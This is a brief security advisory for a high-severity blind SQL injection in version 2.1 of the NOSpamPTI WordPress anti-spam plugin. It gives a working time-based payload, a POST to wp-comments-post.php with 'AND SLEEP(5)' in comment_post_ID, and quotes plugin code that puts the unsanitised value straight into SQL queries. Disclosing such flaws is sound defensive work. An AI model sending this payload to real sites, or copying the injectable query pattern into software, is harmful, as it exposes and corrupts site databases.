[ NOSpamPTI Wordpress plugin Blind SQL Injection ]
 
[ 产品介绍 ]
 
NOSpamPTI eliminates the spam in your comment box so strong and free,
developed from the idea of Nando Vieira <a href="http://bit.ly/d38gB8"
rel="nofollow">http://bit.ly/d38gB8</a>, but some themes do not support
changes to the functions.php to this we alter this function and
available as a plugin. Make good use of this plugin and forget all the Spam.
 
[ Bug 描述 ]
 
NOSpamPTI contains a flaw that may allow an attacker to carry out a
Blind SQL injection attack. The issue is due to the wp-comments-post.php
script not properly sanitizing the comment_post_ID in POST data. This
may allow an attacker to inject or manipulate SQL queries in the
back-end database, allowing for the manipulation or disclosure of
arbitrary data.
  
级别：高危
影响版本：2.1
 
 
 
Payload:
POST /wordpress/wp-comments-post.php
 
author=1&challenge=1&challenge_hash=e4da3b7fbbce2345d7772b0674a318d5&comment=1&comment_parent=0&comment_post_ID=1
AND SLEEP(5)&email=sample@email.tst&submit=Post Comment&url=1
 
[ Vulnerable code ]
 
$post_id = $_POST['comment_post_ID'];
 
load_plugin_textdomain('nospampti',
WP_PLUGIN_URL.'/nospampti/languages/', 'nospampti/languages/');
 
    if ($hash != $challenge) {
        $wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID =
{$comment_id}");
        $count = $wpdb->get_var("select count(*) from $wpdb->comments
where comment_post_id = {$post_id} and comment_approved = '1'");